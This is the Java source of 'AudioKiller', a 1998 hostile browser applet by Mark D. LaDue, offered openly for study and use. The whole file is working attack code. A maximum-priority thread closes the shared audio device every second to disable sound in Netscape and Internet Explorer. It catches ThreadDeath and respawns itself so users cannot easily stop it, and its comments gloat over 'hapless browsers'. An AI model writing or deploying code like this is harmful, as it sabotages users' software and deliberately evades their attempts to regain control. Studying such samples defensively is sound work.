/* AudioKiller.java by Mark D. LaDue */ /* April 1, 1998 */ /* Copyright (c) 1998 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* AudioKiller repeatedly closes sun.audio.AudioDevice.device and thereby prevents all applets from playing audio clips. This will frequently cause the Audio Player tp exit, which completely disables audio in Java. Note that although it was developed on the basis of Netscape's Communicator 4.04 classes, it works just as well for Microsoft's Internet Explorer. The applet defends itself from ThreadDeath, so it's not so easily stopped. Thus it essentially forces its will on hapless browsers. In order to compile the applet, you will need to make sure that the Communicator's classes are in your CLASSPATH.*/ import java.applet.*; import sun.audio.*; public class AudioKiller extends java.applet.Applet implements Runnable { Thread stubborn; public void init() { stubborn = null; } public void start() { if (stubborn == null) { stubborn = new Thread(this,"stubborn"); stubborn.setPriority(Thread.MAX_PRIORITY); stubborn.start(); } } public void stop() {} public void run() { try { while (true) { HoseAudio(); try {stubborn.sleep(1000);} catch (InterruptedException e) {} } } catch (ThreadDeath td) {System.out.println("You can't get me that easily!");} // Resurrect the hostile thread in case of ThreadDeath finally { System.out.println("I'm back again!"); AudioKiller aud = new AudioKiller(); Thread reborn = new Thread(aud, "stubborn"); reborn.start(); } } public void HoseAudio() { AudioDevice.device.close(); } }